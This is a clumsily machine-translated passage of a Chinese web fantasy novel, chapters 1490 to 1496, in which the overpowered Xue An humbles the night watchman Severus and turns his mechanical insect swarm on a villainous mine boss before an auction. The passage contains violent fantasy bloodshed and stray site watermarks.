    The flower of death blooms wantonly in this rainy night, and the blood and fire blend together to compose a death movement.


    Severus, a self-proclaimed night watchman and known for his brutality and brutality, turned pale after seeing this scene of extreme beauty and cruelty at the same time, and the skyrocketing fire reflected in his eyes. The whole body was shaking uncontrollably.


    Because he... tasted fear for the first time!


    It is an infinite awe of the unknowable, unseen, but real power at the same time.


    He is scared!

 Chapter 1490： Out of the fire

    The rain gradually stopped, and the crimson moon shed a little light from the gaps in the clouds, shining on the whole world.


    The fire in the hotel was still violent, and even the soaring fire illuminates most of the bluestone outer city.


    On the ground are all kinds of corpses, and the air is filled with an unpleasant smell of burnt flesh.


    Faced with such a terrifying sight, Severus wanted to turn around and ran. It''s best to stay as far away as possible from this fascinating Shura field.


    But he couldn''t, because he could feel that there was a mysterious power spying on everything in the dark, and firmly controlling this world, any abnormal movement might attract this power''s attack.


    In that case, there is only one consequence, and that is death!


    Severus knew this very well. Under the vast surface of this power, there was a terrifying violent energy, like the sea in the darkness, ready to swallow everything at any time.


    Therefore, he could only swallow hard, and stood pale, not even daring to move his eyelids.


    In this weird atmosphere, from the collapsed hotel, the blazing flames suddenly lowered their body, like a tamed monster, preparing to welcome its own king.


    Immediately afterwards, the air flow in the void was disturbed, and the moonlight condensed into a lot of crystal clear but glowing red lotus.


    In this strange and unspeakable scenery, the flames separated left and right like curtains, and Xue An walked through the sky and walked out slowly.


    Behind him was Zhuang Linyan and his party with a look of horror.


    In fact, Zhuang Linyan at this moment received no less impact than Severus.


    She originally only wanted to get rid of the blood wolf gang leader Cao Gang through Xue An, and then destroy the blood wolf gang in one fell swoop through her own plan.


    But I never expected that the people I was looking for would all turn against the tide, driving themselves into a desperate situation.


    But when Zhuang Linyan had given up hope and was about to fight to the death, Xue An suddenly shot, first as if swatting a fly, he slapped Cao Gang directly into mud.


    Then he acted brazenly and wiped out all the bigwigs in the entire hotel who participated in the banquet, as well as those blood wolf gangs who were hiding in secret.


    From the beginning to the end, Xue An didn''t even move a bit, and just so lightly slaughtered the audience.


    How could such a huge contrast not shock Zhuang Linyan.


    So now she is still a little dizzy, her brain is blank, and she can''t believe everything in front of her is real.


    Severus was also a little dizzy at the moment, but his dizziness was entirely caused by fear.


    Especially when he saw the scene of Xue An walking through the sky and slowly walking out, his heart was full of infinite fear and regret.


    I regret that I shouldn''t have come this time.


    Unfortunately, no matter which world there is no regret medicine.


    Xue An stood in the air, looked down at the night watchman Severus, then glanced at the huge trailer behind him, a faint smile appeared at the corner of his mouth.


    "Interesting, was you looking back at the timeline before, spying on me?"


    Severus shook wildly.


    Because when Xue An looked at him, it felt as if Severus was being stared at by a mechanical beast or even a mechanical tyrannosaurus.


    It was a kind of all-round coercion from the superior to the inferior. This disparity in power made Severus full of fear, his teeth trembled, and he couldn''t speak at all.


    Aretha and Haida, who were tightly bound in the trailer, were initially full of anxiety, but they were all taken aback when they heard Xue An''s voice.


    what happened?


    Have you found Andrew?


    No, you must remind Andrew that this guy is extremely evil and terrifying, and you must run away quickly.


    Thinking of this, the two of them started struggling hard and tried to make a noise to attract Xue An''s attention.


    Xue An has naturally sensed who the people **** in the trailer are, so he just smiled slightly and waved.


    A ray of sword light slashed past, and then circled the trailer.


    Click, click.


    With a faint sound, the sturdy trailer broke apart in an instant, and then the sword light swept across Haida and Aretha, directly cutting the rope that bound them.


    After breaking free of the restraints, the two women hurriedly stood up and shouted: "Andrew, run, this guy is here to trouble you!"


    As soon as the voice fell, both of them were stunned.


    Because Severus, who was extremely arrogant and ruthless in front of them before, was now obediently standing there like a little quail just out of its shell, trembling, not even daring to lift his head.


    In the distance, Andrew stood high in the sky, looking at them both with a smile.


    How is this going?


    Many question marks appeared in the mind of the second woman.


    At this moment, Xue An smiled faintly, "Thank you for your reminder, but I think this gentleman shouldn''t make trouble anymore now, right?"


    Facing Xue An''s questioning, Severus was guilty and nodded under control, and then a humble and flattering smile appeared on his pale face.


    "Big... Your lord is right, how dare I trouble you! It was a misunderstanding before!"


    misunderstanding?


    Haida and Aretha looked at each other, and then both fell silent.


    Xue An also smiled, "Misunderstanding? Then what do you want to do with the two of them who are not far away and find here?"


    Severus opened his mouth with dense beads of sweat on his forehead, but he couldn''t explain anything.


    Yes!


    I took two women to run so far, but after meeting they said it was a misunderstanding. No one would believe it!


    "Huh?" Xue An asked again.


    This question made Severus bewildered.


    He knows that in the face of a strong man like Xue An, it is best to tell the truth because all lies have nowhere to hide in the face of absolute power, and it is very likely that they will really die by then. Ground.


    So he gritted his teeth and whispered: "My lord, I''m really sorry, I was deceived and misled by some wrong messages before, so..."


    "So you want to kill me, don''t you?" Xue An glanced at Severus and said lightly.


    As soon as he said this, Severus felt a huge force suddenly come, his knees softened, he knelt on the ground with a plop, and then screamed.


    "My lord is forgiving, my lord is forgiving...I know I was wrong, please let me go this time for the sake of everything that didn''t really happen!"


    Severus knelt on the ground, begging very humblely for his life.


    The atmosphere in the field instantly became very quiet. Except for the beeping sound of the flame burning, everyone held their breath, waiting for Xue An''s ruling.


    a long time.


    Xue An showed a sneer, "Spare you once?"

 Chapter 1491： Pick up the pieces

    Severus knocked his head repeatedly, "Yes, sir, I know I was wrong, I don''t dare anymore, please let me go! I..."


    Before he could finish speaking, Xue An interrupted him directly.


    "Do you know? Even though it''s so far away, I can still smell the dirty smell on your body, your soul is like these dead people, like the black mud in the gutter, smelly! And you... But still dare to beg me to let you go?"


    Hearing Xue An''s words, Severus''s face paled, and a look of despair appeared in his eyes, "But...but..."


    "Who is the dead Copete?" Xue An asked suddenly.


    "Uh... he is... a subordinate of the boss!" Severus replied hard.


    "Subordinate? So, you and him belong to the same boss?" Xue An said with interest.


    "Yes... it''s like this!" Although Xue An asked this suddenly, Severus was willing to do anything as long as he didn''t kill him.


    Only those who often do to the death of others can better understand the fear of death.


    Severus certainly didn''t want to die, so he was so obedient.


    "Very good! It seems that your boss is very dissatisfied with Copet''s death, so he sent you to deal with me. If this is the case, then I naturally have to greet him, after all... you are not indecent!"


    Severus did not understand the meaning of Xue An''s words, but this did not prevent him from wondering about it.


    What does he want to do?


    Greeting my boss, joke, he is not here at all, how do you greet?


    When he was full of doubts, Xue An, who was originally standing in the air, suddenly flashed, and his whole body instantly appeared in front of him, then looked at Severus condescendingly, and said lightly.


    "Do you really want to survive?"


    Severus''s muscles tightened instantly, and his hair stood up one by one. He couldn''t understand Xue An''s strength now, so he could only shake and say, "Of course!"


    "Well, I can give you a chance!"


    Severus was overjoyed and just wanted to say something.


    "But it depends on whether you can grasp it!"


    Severus nodded his head, "My lord, just let me do anything as long as I can spare my life!"


    Xue An showed a smile, "It doesn''t need to be so complicated, you just have to go back and meet your boss obediently! Others...I make my own arrangements."


    Speaking of this, Xue An''s eyes rested on the black suitcase Severus was carrying with him.


    "A funny toy, isn''t it?"


    Severus trembled all over, and despite the dismay in his eyes, he did not hesitate to lift up the suitcase and handed it to Xue An in a flattering manner.


    "If your lord likes it, then I will give it to you!"


    Xue An didn''t pick up the suitcase, just stretched out his hand and gently rubbed it on the smooth leather surface, and then smiled faintly.


    "No, let this surprise be left to your boss!"


    After that, Xue An took a deep look at Severus, and the brilliance appeared in his eyes.


    A trace of divine thought that was not noticed at all intruded into Severus''s eyebrows silently.


    Severus had no idea about it.


    "Get off!" Xue An said lightly.


    Severus was ecstatic in his heart, and immediately stood up and saluted Xue An.


    "Thank you, sir!"


    After speaking, carrying a suitcase, he hurriedly left like a bereaved dog.


    Haida and Aretha looked awkward, and obviously didn''t understand what Xue An''s actions meant.


    Although I don''t know why the former Andrew was so powerful all of a sudden, even the suppressed Severus fell to his knees, not daring to raise his head.


    But at least you shouldn''t let him go!


    But despite the doubts in their hearts, the two dared not say a word.


    Because in their eyes, this teenager has changed too much.


    Especially the aura that he exudes, it is almost dare not look directly.


    At the same time, Xue An glanced at the two of them, then turned around, and smiled at Zhuang Linyan who was also on the ground.


    "The two of them are my former friends. Take care of them. If they are willing to go back, they will be sent back. If they don''t, they will stay with you!"


    "Yes!" Zhuang Linyan answered immediately.


    After doing all this, Xue An stretched a long stretch and looked at the sky covered by dark clouds, but the gap between the clouds was stained with a layer of gold by the crimson moon, like the sky with golden snakes dancing wildly. : "It''s late, it''s time to go back to sleep!"


    After all, Xue An yawned and left.


    Zhuang Linyan was taken aback, and hurriedly stepped forward and shouted: "My lord, I will send you a car to take you back!"


    "No, it''s not far! You''ll be home after a few steps!"


    In the darkness, Xue An''s voice was getting farther and farther away. By the time of the last word, it was already inaudible, and he had obviously left a very long distance.


    Zhuang Linyan and Aretha were left in the field.


    The eyes of the two sides faced each other. After a long time, Zhuang Linyan nodded at them.


    "Two, there are still many things here. For your safety, I will send someone to send you to a safe place first!"


    Aretha has nothing to do, Haida also nodded in agreement.


    Soon, someone led the two of them away.


    When their figures disappeared into the darkness, the expression on Zhuang Linyan''s face gradually became somber. She took a deep breath and slowly said, "Come here!"


    "in!"


    "Immediately summon the people and start cleaning the entire outer city of Bluestone! Be sure to control the entire outer city before dawn!"


    Upon hearing Zhuang Linyan''s words, all of these subordinates showed joy, and immediately nodded in response: "Understood!"


    Soon, following Zhuang Linyan''s order, all of his subordinates came out and began to sweep the entire bluestone outer city with a violent posture.


    The first one to be destroyed was naturally the Blood Wolf Gang headquarters.


    In fact, because Cao Gang had taken away most of the elite of the Blood Wolf Gang, the Blood Wolf Gang headquarters at this moment had nothing but an empty shelf.


    When Zhuang Linyan led people to commit suicide here these guards were frightened and completely wiped out without resisting a few times.


    Immediately afterwards, Zhuang Linyan''s people began to attack everywhere.


    And because almost all the big guys in the outer city died in this hotel, and the dragons were headless for a while, they were easily defeated by Zhuang Linyan''s people, and they didn''t even encounter any decent resistance.


    This long and **** night finally passed.


    When the first ray of sunlight shined on the earth in the early morning, the whole bluestone outer city had already changed.


    And this breaking news also made many people who just woke up bewildered.


    How is this going?


    Why did the entire bluestone outer city change after just a night''s sleep?


    Everybody died, the hotel in the city was razed to the ground by the fire, and even the Blood Wolf Gang was destroyed by Zhuang Linyan?


    These news shocked one by one, and also made the entire bluestone outer city completely boiling.

 Chapter 1492： Congratulations, become the lord of the outer city

    At the same time, above the bluestone wilderness, there was a figure running at a crazy speed.


    And this kind of running has lasted all night.


    at last.


    When the light of the day of flames completely illuminated the sky, Severus, who was about to lose his strength, stopped, and then lay almost limp on a large rock, breathing heavily.


    Even for him, running for a long time all night is an extremely difficult task.


    For this reason, Severus has used up all the boosters he carried with him.


    But in the face of survival, all costs are worth it.


    It took a full half an hour for Severus to recover a bit of energy, then took out his pocket watch and determined his current position.


    After seeing the distance shown on the pocket watch, Severus let out a long sigh, then put his heart back in his stomach.


    Because at this moment, he is already three thousand kilometers away from Qingshi City.


    In other words, the night scene, he not only surpassed his limit, but also created a miraculous record.


    In Severus''s eyes, this was a safe enough distance.


    Even if that young man was sitting on a mechanical aircraft, he couldn''t catch up with him.


    This made his face a smile mixed with ridicule and fear.


    Although he didn''t know the origin of that young man, he would have such a terrifying strength, but he was still a little too naive.


    Actually, I really let go of myself, and what he said to greet my boss.


    It''s really funny.


    The rejoicing of the rest of his life made him smile proudly, and then slowly took out a communication stone from his arms and sent a message.


    After that, he lay comfortably on the stone and waited quietly.


    More than an hour later, the sound of a rotor breaking through the air came from the sky.


    Severus smiled slightly, then Shi Shiran stood up.


    At this time, a mechanical aircraft had already flew near and stopped slowly on the ground.


    A black-clothed man stepped off the aircraft and saluted Severus very respectfully.


    "Your Excellency the Night Watcher!"


    Severus raised his face arrogantly, snorted from his nostrils, and then stepped into the aircraft.


    "Let''s go! Back to the mine!"


    "Yes!"


    The aircraft rose into the sky and went straight to the sky.


    As the sun rises, the entire Bluestone Outer City becomes more restless, and many people are panicked. They don��t know what they will face next, let alone what means Zhuang Linyan used to destroy the city��s boss, and her What do you want.


    This kind of groundless speculation also made the atmosphere of the entire Bluestone Outer City very tense.


    At this moment, Zhuang Linyan, who has become the veritable first person in the outer city of Qingshi, sat in the car outside the small building with a tired face.


    This night''s rush has already exhausted her physically and mentally.


    But she still can''t sleep now, because she has to wait to see Xue An and ask some things.


    She knew very well that since Xue An had killed all the bigwigs present, it was creating opportunities for her, so she took it without hesitation.


    But the problem now is that the turmoil in the outer city of Qingshi will surely disturb those big figures in the inner city.


    Even the mysterious big man behind the blood wolf gang will not let go.


    And this is the real crisis!


    So now she just wants to see Xue An as soon as possible.


    But because Xue An said she wanted to rest, she didn''t dare to break in without permission, so she waited quietly in the car outside the small building.


    It was not until near noon that Zhuang Linyan, who was closing her eyes and sleeping, was awakened by the sound of knocking on the car window.


    "Second Miss, this lord is already awake!" the subordinate said respectfully.


    "Okay!" Zhuang Linyan immediately got up and got out of the car, trying to enter the building, but hesitated slightly, then said to the left and right.


    "Here is sealed tightly. Without my order, no news about this adult shall be revealed! Understand?"


    "Yes!"


    Everyone bowed their heads in awe.


    Zhuang Linyan came to the door, took a deep breath, and walked into the living room.


    "Is everything finished?" Xue An, who was sitting on the corner sofa, said lightly without turning his head back.


    Zhuang Linyan responded: "Yes, it''s all done!"


    "Haha! Then should I congratulate you for becoming the lord of the outer city?"


    Following the voice, Xue An turned his wheelchair and looked at Zhuang Linyan with a smile.


    With a bitter smile on Zhuang Linyan''s face, she bowed her head and said: "My lord is joking, I can have the power that I am now, isn''t it all relying on your strength?"


    "Let''s go, what''s the matter if you see me so anxiously?" Xue An turned the subject off and asked softly.


    Zhuang Linyan raised her head and said solemnly: "My lord, now the outer city is all in my hands, but this incident will surely shock the adults in the inner city, especially the existence of the master behind the blood wolf gang. I won''t let it go, so..."


    "So you are scared?"


    "It''s not afraid, it''s just a little worried!"


    "Worried?" Xue An raised the corner of his mouth, showing a slight smile.


    "In your eyes, these so-called big people are the sky, but in my eyes, they are nothing more than ants! So... these people don''t care. If anyone dares to intervene in this matter, I don''t mind sending them a ride!"


    Xue An''s words were indifferent, but the bitter killing intent contained therein made Zhuang Linyan''s hair terrified.


    "So you don''t have to worry about it, manage your subordinates honestly, and don''t care about the others! If you really want to move around, I will naturally teach him to be a man! Understand?"


    "Yes...Yes!" Zhuang Linyan was in a daze for a moment, and finally nodded in response.


    "Go, you can tell me any changes!"


    Zhuang Linyan bowed and exited the room.


    After she left, Xue An leaned on the sofa and looked at the scenery outside through the diamond window.


    "Don''t you know who is behind you who dealt with your brothers and sisters? No matter ~ www.novelhall.com~ After this auction is over, I will help you again!"


    "And I have a hunch that there should be something very interesting in this auction!"


    Speaking of this, a faint smile appeared on the corners of Xue An''s mouth, but his eyes were full of murderous intent.


    Liu Zhang''s working hours are usually at night, often when the light is shining, and when other people start to wake up one after another, he has already finished his work and is ready to fall asleep.


    Today is no exception. The heavy rain last night made his work speed a little slower than usual, so until breakfast today, he lay comfortably on the chair in the study, and soon fell asleep.


    This is a habit he has developed over the years.


    And at this time, it was also the time when the entire Liu family was the most silent.


    No one dared to make the slightest noise, for fear of disturbing the dream of the Patriarch.


    But today there are some exceptions.

 Chapter 1493： Murder hidden

    Before noon, one of the servants broke into the study with sweating profusely, and yelled softly in Liu Zhang''s ear, bowing his head while sleeping.


    "Patriarch, wake up! There is something important to report to you!"


    Before he could call it a second time, Liu Zhang had already opened his eyes, his eyes filled with biting chill.


    "what happened?"


    He knew that even he was alarmed, that this incident was obviously not trivial.


    Sure enough, the housekeeper lowered his head and said in a deep voice, "The news that we just received, the hotel of our Liu family in the outer city was burned down!"


    "Huh? Who did it?" Liu Zhang asked in a deep voice while adjusting his clothes.


    "According to reliable sources, it should be Zhuang Linyan!"


    "Zhuang Linyan? How could that woman be so courageous? Let Cao Gang come over to see me now!" Liu Zhang was a little surprised and shouted in a deep voice.


    The housekeeper gave a wry smile, "Patriarch, Cao Gang can''t come!"


    "Ok?"


    "Just last night, Zhuang Linyan''s people suddenly attacked the blood wolf gang headquarters [Ikan Novel Network www.ikbook.vip], and before that, Cao Gang and many bigwigs in the outer city had already died in the hotel. In! Now the entire outer city is actually Zhuang Linyan''s site!"


    "What?" Liu Zhang was shocked. "When is this news?"


    "We also just got the information, and what happened... just last night!" the butler replied.


    Liu Zhang''s expression changed suddenly, and Huo Ran got up and paced back and forth in the study.


    The housekeeper did not dare to say anything, and stood quietly by the side.


    After a long time, Liu Zhang gave a harsh sneer.


    "Zhuang Linyan...hehe, I didn''t expect that I would really underestimate you! If you knew this, I should have killed you together!"


    The butler watched, nose, nose, mouth, and heart, but he didn''t hear it.


    Because in this kind of family, if you know too many secrets, it means your life is almost over.


    "Your brother did not obey the order and insisted on unifying the bluestone outer city, but he didn''t know that a stable and unified outer city was not in the interests of the inner city, so he died! He died miserably!"


    "Now you are starting to repeat the same mistakes again, and you have eliminated all the other people! But do you really think this will dominate the outer city? You are too naive!"


    Liu Zhang muttered to himself as he paced.


    Suddenly, he slapped the table and said angrily: "It''s really looking for death!"


    The housekeeper trembled with fright, then leaned down and said in a murderous voice: "Patriarch, are we going to use our hands to wipe out this Zhuang Linyan now?"


    Liu Zhang waved his hand when he heard the words, "Don''t worry! Now is not the time to do it!"


    "It seems that the auction will be held soon, and in this auction, there will be a high-level alchemy artifact. For this reason, there have been many alchemists in the entire Bluestone City, but this thing is not trivial. Once you get it, you can greatly improve your own strength, so this thing must belong to me!"


    "So at this critical juncture, it''s not suitable for another extravaganza!"


    "What should I do then?" the housekeeper asked with some confusion.


    Liu Zhang''s eyes showed resoluteness, "Let this Zhuang Linyan be proud for a while, leave her alone for the time being, we will talk about everything after the auction!"


    "Yes!"


    The butler left.


    Liu Zhang paced back and forth, the brilliance in his eyes flickered, and finally a grinning smile appeared.


    "Zhuang Linyan, you secretly asked for an invitation from my daughter, why? Are you planning to participate in this year''s auction?"


    "If that''s the case, then this auction will be your burial place! Because you never expected that the father of your best friend was actually the one who killed your brother! I really look forward to hearing this news. What does it look like! Hahahaha!"


    Liu Zhang let out a very cheerful smile.


    Under his order, the Liu family unexpectedly remained silent when facing the shocking changes in the outer city.


    Under his leadership, all the major families in the inner city unanimously kept silent.


    Because these people have heard the news that there will be a treasure at the auction, in order to get this item, no one wants to make extravagance.


    So when the whole outer city was full of turmoil, the inner city was peaceful, and no family expressed its opinion.


    This strange peace also makes many people with sharp minds smell some unusual smells.


    So soon, the hustle and bustle of the outer city gradually fell silent, and replaced by a very strange silence.


    Just like the silence before the storm, a terrifying storm is gestating.


    At this time, Zhuang Linyan also disappeared from public sight.


    Just when the entire Bluestone City fell into a strange dead silence.


    In a mine thousands of miles away.


    Severus got out of the aircraft with great spirits.


    At this moment, he was no longer embarrassed when he knelt down and begged for mercy when he was in Bluestone City.


    Replaced by the same evil spirits and arrogance.


    As the boss''s capable man, the frightening night watchman.


    Naturally no one dared to look at him more.


    So he went through the layers of defenses smoothly, and finally came to the small building where the boss of the mining area lived.


    In front of this small building, a gang of monsters and ghosts gathered.


    These guys are all villains that the boss has searched from everywhere, and almost everyone''s hands are covered with blood.


    But now, they have become powerful minions of the boss.


    When they saw Severus walk in, they all smiled and said hello.


    "Master Night Watch! You are back!"


    Severus nodded. "Is the boss in there?"


    "Yes, sir, the boss is inside, but I advise you to go in later! Because the boss just bought a little girl and just brought it in!"


    The villain laughed very disgustingly. If it were this time, Severus would have waited outside obediently.


    But today I don��t know what��s going on. Severus felt irritable for a while, and said with a sullen face very impatiently: "What kind of nonsense, I have an urgent matter to see the boss!"


    Speaking of , regardless of the obstacles of these people, he broke into this small building.


    As these people said, at this moment, the mine owner is preparing to attack the girl who just bought it.


    But at this moment, Severus broke in directly.


    This made the fat and white boss very dissatisfied, so his face suddenly became gloomy.


    "Severus, what do you want to do? Didn''t you see that I was busy?"


    The irritability in Severus''s heart grew more and more, and all this reached its peak after hearing the boss''s reprimand.


    "Hehe, my boss, I am sorry to inform you that your entertainment is going to stop!"


    "What do you mean? Severus, are you crazy? Do you know what you are talking about?" the boss roared angrily.


    But at this moment, the suitcase that Severus was carrying suddenly exploded, and then he saw countless mechanical insects swarming out of it, coming straight to the boss with extremely terrifying power.

 Chapter 1494： Mechanical natural disaster

    This is a torrent of machinery that represents death.


    Countless football-sized, whole bodies made of gears, exuding a cold and evil luster of mechanical insects gathered together, like a colony of ants gnawing everything, blowing on their faces.


    The whole world is filled with a buzzing sound, which is the sound of gears turning to drive wings to fly.


    The sound of an insect may be very slight, but so many of them come together to form this kind of death whisper that makes the scalp numb.


    And this... is the extinction that night watchman Severus became famous for, mechanical natural disaster!


    These insects usually sleep in the suitcase that Severus carries with him in the form of eggs.


    When needed, Severus would release them, and then slaughter all targets that dared to block their progress.


    Because there is no grass wherever it goes, it is called a mechanical natural disaster.


    However, the performance of these insects today is different from before. Each one is extremely excited, and even the compound eyes of the insects have a faint dark red.


    When these dark red eyes came together, it was like a sky full of stars, forming a dark red tide.


    This also made the momentum of this worm tide climb to the top, and headed straight for the fat mine owner with the most powerful force.


    Obviously, the fat boss didn''t expect such a scene to happen. He was startled at first, before he let out a loud roar.


    "Severus, you bastard, dare to betray me?"


    Severus did not respond to this.


    At this moment, the look on his face was extremely strange, his face was pale, his forehead was full of cold sweat, and his eyes were full of horror.


    Because he was extremely horrified to discover that these mechanical insects had completely escaped his control.


    All the orders were invalidated, and the insects rushed to their boss indefinitely.


    Severus wanted to move his steps, but found that he had lost even control of his body. Not to mention moving his feet, even moving his fingers became a luxury.


    He can only stand on the spot blankly, watching the scene before him.


    The Severus boss has a habit of never wanting other people in the room to disturb him when he is having fun.


    So those bodyguards who never leave the left and right are not around at this moment.


    And this also made this fat boss regret it.


    "Damn bastard, Severus, you''re dead, I must tear you apart!" Boss Bai Fatty roared while crushing a necklace he wore on his neck with great pain.


    boom!


    A layer of faint silver brilliance emerged from the body of the fat white man. At this moment, these mechanical insects had also rushed to the front.


    The two sides collided together, and there was a very dull sound.


    But this silver light curtain was obviously extremely strong, and it only shook slightly in the face of such an impact, and then stabilized.


    On the contrary, it was the mechanical insects that rushed in front. Because of the impact and the squeezing from the rear, these two huge forces caused their metal structures to be shattered in an instant.


    The fat white man stood in the light curtain, watching this scene with a sneer.


    "Severus, want to fight me? You''re still a little bit too tender! Since I can control your villains, then my ability is beyond your imagination!"


    The white fat man said triumphantly.


    But as soon as his words fell, these mechanical insects suddenly became agitated, and the insects surged wildly with it.


    Immediately afterwards, these mechanical insects let out a painful neigh, and then began to metamorphose.


    While the gears were turning, the bodies of these mechanical insects began to increase again, and at the same time their sharp mouthparts and jagged sickles were changed.


    These killers are increasing rapidly, and they begin to emit a terrifying luster.


    Severus was already looking silly, and there was a greyish look in his eyes.


    Because he saw what the insect swarm was going through at this moment.


    It is an upgrade!


    But this upgrade is forced, and the consequence of doing so is that when these mechanical insects exhaust all their energy, they will die completely.


    This is generally the method used by the swarm when it is in great danger.


    But this time, all the mechanical insects chose this method of enduring at the same time.


    Combining the abnormalities in his body, Severus suddenly understood.


    No need to ask, all of this must be the ghost of the boy in white!


    It turned out that what the white-clothed boy said he wanted to give his boss a return was this!


    Thinking of this, Severus felt despair in his heart.


    It''s ridiculous that I laughed at the innocent white boy at the time, but now it seems that the really innocent person turned out to be me!


    at the same time.


    These mechanical insects have completed their metamorphosis, and then they rushed forward with an extremely violent posture.


    This time, the fat white man was not as calm and relaxed as before.


    Because this time, the attack of these mechanical insects was completely suicidal.


    When the body shape hits the light curtain, the entire insect will burst open instantly, and the resulting power will make the entire guardian light curtain tremble.


    And this kind of attack is an all-round attack without dead ends.


    This also made this layer of light curtain tremble more violently.


    Now, the fat man��s face became pale and transparent, and he shouted in a terrified voice: "Severus, you have won! I am willing to give up, as long as you are willing to let me go, all Everything is yours!"


    This is a very tempting condition.


    But Severus could only smile to himself.


    Because he can''t even move a bit, how can he win or lose?


    But seeing that Severus didn''t respond, the fat white man thought he was determined to die by himself, so he couldn''t help roaring in anger.


    "Severus, you bastard, you must die..."


    Before he finished his words, he heard a crisp sound, and the entire guardian light curtain collapsed in an instant, and then this torrent of machinery swarmed, and instantly drowned the white fat man''s figure.


    The white fat man screamed a few times at the beginning, but soon the screams disappeared.


    Some is just the sound of the flesh being cut quickly by a metal knife.


    Soon, the swarm dispersed!


    Looking at the scene again, apart from a pool of blood on the ground, there was no trace of a fat white man.


    But this is just the beginning.


    Immediately afterwards, these mechanical insects turned their directions and approached Severus, who was stuck in a stiff and unable to move.


    Severus'' pupils instantly shrank to the size of a pinpoint, and he wanted to scream and escape.


    But all struggles are in vain.


    In an instant, he was also overwhelmed by this worm.


    Before he died, Severus'' heart was filled with infinite regret.


    In the beginning, why did I look for the unlucky boy in white clothes?


    Really looking for death!


    Then, he sank into the endless darkness and died.

 Chapter 1495： Auction opens

    Outside the house, those who were hired by the white fat men, each hand was stained with blood, the all-wicked bad guys were getting together and chatting happily.


    "Hey, the girl our boss caught this time looks really good!"


    "Yes! When the boss runs out, let''s have a taste!"


    "Why did that guy Severus go in for so long and haven''t come out?"


    "Who knows, but I seem to hear fighting in the room!"


    "Hehe, maybe the boss is interested, invite this Severus to join the team!"


    The rest of the people all showed envy when hearing the words.


    At this moment, someone suddenly said, "Hey, listen? Someone seems to be screaming!"


    Everyone listened, and sure enough, a faint scream came from the room.


    "Hehe, it seems that the boss is playing a bit big this time!" Someone smirked.


    But the voice just fell.


    The originally sturdy house broke apart, and countless mechanical insects rushed out of it, and then overwhelmed the sky.


    "Mechanical disaster! What the **** is that guy Severus doing?" Someone screamed, and turned to run.


    But everything is too late, these mechanical insects in the sky are like a large cloud of dark clouds covering the entire mining area.


    In the humming of the wings, these mechanical insects swooped down and attacked.


    No one is the opponent of these mechanical insects that have fallen into a violent state, so it is not so much an attack as it is a unilateral massacre.


    Faced with the coming of death, these villains, who usually take the pleasure of killing, behaved so unbearably.


    Screams, begging for mercy, hysterical verbal abuse mixed in everything, like a sinful elegy.


    But no matter what kind of behavior, they can''t resist the huge sickle limbs of these mechanical insects.


    The sound of sharp edges breaking through the air, blood splashing, and the sound of corpses falling to the ground, these sounds are quickly eliminating all noise.


    at last!


    When the last villain fell, there was no more standing figure in the audience, and the ground was full of pools of blood.


    At this point, the boss in charge of the mining area and all his villains were wiped out.


    The miners who were working in the underground mine suddenly noticed something and stopped their work.


    Immediately afterwards, these studded miners noticed that all the chains that bound them were suddenly broken.


    These miners looked at each other, and then they hugged each other in tears of joy.


    Because they knew that the chain that bound them was broken, which meant that the mine boss was dead.


    They are finally free!


    At the same time, these mechanical insects in the sky circled around the audience, and then their bodies trembled, bursting one by one.


    In an instant.


    All the mechanical insects were blown into powder.


    And disappeared together, there is this mining area.


    In the outer city of Qingshi, Xue An, who was sitting at the window admiring a piece of exquisite mechanical artwork, suddenly raised his head and looked out of the window, and then a faint smile appeared on his face.


    "Is it finally activated? I wonder if you and your boss are still satisfied with this gift from me?"


    "Of course, dissatisfaction is useless, because...you are dead!"


    Xue An spoke in a very small voice, at least Zhuang Linyan, who was sitting opposite, could not hear clearly.


    "My lord, what are you talking about?"


    "Nothing!" Xue An put down the things in his hands and leaned on the sofa.


    "How many days before the auction?"


    "Master, there are still three days!"


    "Okay!" Xue An nodded, noncommittal.


    Zhuang Linyan wanted to speak but stopped.


    "What''s wrong?" Xue An asked.


    "My lord, there seems to be something wrong with this auction, because according to the information I received, the number of high-ranking alchemists who came to Bluestone City this time is a record! This is obviously abnormal!"


    Xue An looked at Zhuang Linyan with a smile, "So what?"


    Zhuang Linyan subconsciously swallowed her saliva, "I''m just a little worried, after all, this situation has added a lot of variables to this auction, so it''s best for adults to prepare in advance!"


    Xue An gave Zhuang Linyan a deep look, then nodded, "Okay!"


    For the next three days, Qingshicheng was very calm.


    at last.


    The day of the auction has finally arrived.


    From the morning, the entire Bluestone City began to boil.


    Countless aircraft flew to the inner city one after another, and the streets were full of traffic. Various vehicles blocked the boundary gate between the inner and outer cities.


    Because this day, not only auctions will be held in the city, but there will also be ordinary trade fairs suitable for the general public.


    That''s why it is so lively.


    But at this moment, the vehicles on the street avoided a road.


    Because a line of convoy is slowly coming from a distance.


    The team driving in front is a brand new black floating car, which is quite impressive.


    And in the middle of the convoy is a specially-made long black car.


    After seeing this team, everyone''s expressions were a bit complicated.


    There is awe, fear, but more curiosity.


    In the outer city of Bluestone at this moment, no one would not recognize this team.


    With thunder means, Zhuang Linyan, who controlled the entire Qingshi Outer City overnight and became the veritable first person, is naturally awe-inspiring.


    So on this road, wherever the convoy passed, everyone retreated.


    The front of the demarcation gate was no exception, and a spacious passage was quickly cleared, and then Zhuang Linyan''s motorcade drove smoothly into the inner city.


    When the shadow of the convoy was no longer visible, the crowd closed again, and then whispered and started talking.


    "It''s Zhuang Linyan''s motorcade!"


    "Yes!"


    "How did she go to the inner city at this time? Isn''t she afraid of chaos in the outer city?"


    "Who knows, maybe I went shopping in the inner city too!"


    Just as everyone was talking, Zhuang Linyan''s motorcade had already turned into a street in the inner city.


    It is obvious from the buildings outside the window that the inner city is much richer and cleaner than the outer city.


    For example, this street has all the relics of the heyday of civilization, which is very magnificent.


    At the same time, the speed of the team gradually slowed down, and finally stopped in front of a majestic building.


    Zhuang Linyan took a deep breath and whispered: "My lord, here it is! This is the auction venue!"


    Xue An retracted his gaze, smiled slightly, and then said lightly: "Let''s go!"


    It wasn''t until I walked into this building that I could feel the horror of the alchemical civilization in its heyday.


    Because of the ingenious design of the entire building and the superb skills, it is simply breathtaking.


    But now, many functions and facilities have been abandoned.


    Even so, the interior of the entire building is still very spacious.


    Xue An and his group stepped deeper, and they just turned a corner when they heard a voice full of surprise shouting.


    "Lin Yan, are you here too?"

 Chapter 1496： Approach

    Following the voice, a girl with a glamorous and glamorous appearance in a long dress greeted her with a smile on her face.


    When Zhuang Linyan saw her, she couldn''t help but smile.


    "Jing Yi, are you here early?"


    "Yes! My father said that this auction will be very lively. There will be many high-ranking alchemists who are not usually seen. In order to meet the world, I came early! This is..."


